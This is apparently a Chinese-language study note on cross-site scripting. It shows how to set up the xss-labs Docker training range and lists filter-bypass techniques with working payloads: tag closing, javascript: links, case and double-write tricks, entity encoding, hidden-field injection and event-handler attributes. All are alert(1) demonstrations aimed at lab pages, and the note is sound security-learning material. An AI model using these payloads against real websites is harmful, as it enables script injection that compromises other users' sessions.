← 返回主页
NOTE

XSS 实战

整理 XSS 类型、触发位置、利用思路与常见防御方式。

准备工作

靶场搭建

docker pull docker.xuanyuan.run/c0ny1/xss-challenge-tour:latest
docker run --name xss-labs -p 83:80 -d docker.xuanyuan.run/c0ny1/xss-challenge-tour:latest

学习资源

XSS漏洞靶场(xss-labs)通关教程(1-20)+源码分析(2025最新)


注入方式详解

页面元素注入

利用方式:直接在输入内容中注入恶意JS脚本
原理:服务器未过滤用户输入,直接将内容渲染到页面
示例
页面元素注入示例

禁用script标签场景

<script>标签被过滤时,需要寻找替代注入方式


HTML标签提前闭合注入

利用方式:通过提前闭合HTML标签注入恶意脚本
原理:服务器转义了内容但未过滤标签属性值
演示

  1. 注入前检查未过滤的input属性
    输入检查
  2. 注入恶意代码:"><script>alert("hello")</script>
  3. 脚本成功执行

特例场景
当使用htmlspecialchars($str)但未转义单引号时:

原始字符转换后实体安全作用
<&lt;防止标签注入
>&gt;防止标签闭合
"&quot;防止双引号属性闭合
'&#039;防止单引号属性闭合
&&amp;防止实体欺骗

绕过演示
单引号绕过示例


超链接注入绕过

场景<script>on事件被过滤
利用方式:注入带javascript:伪协议的超链接

level5.php?keyword="><a href="javascript:alert(1)"><img src="search.png"></a>

效果
超链接注入


大小写绕过

场景:关键字过滤未统一大小写
Payload

level6.php?keyword=" Onclick="javascript:alert(1)"//

双写绕过

场景:关键字被直接替换
Payload

level7.php?keyword="oonnclick="javascript:alert(1)" //

实体编码绕过

场景:严格关键字过滤
Payload

java&#115;cript:alert(1)

注意:替换空格可用%0d(回车)或%0a(换行)


注释绕过格式校验

场景:要求URL包含特定协议
利用方式:将校验内容放入注释

javascript:alert(1) // http://example.com

注释绕过空格过滤

场景:输入过滤空格

利用方式:使用/**/代替空格

页面隐藏元素注入

场景:隐藏属性存在XSS漏洞

<input type="hidden" name="token" value="USER_CONTROLLED">

技巧:修改HTTP头(Referer/User-Agent/Cookie)测试回显


ng-include包含注入

利用方式:通过ng-include包含未过滤XSS的页面

<div ng-include="'vulnerable-page.html'"></div>

XSS攻击Payload

Payload触发机制需用户交互稳定性
' onmouseover='alert(1)鼠标悬停★★★☆☆
' onclick=alert(1)//点击元素★★★★☆
' onfocus=alert(1) autofocus页面加载自动聚焦★★★★★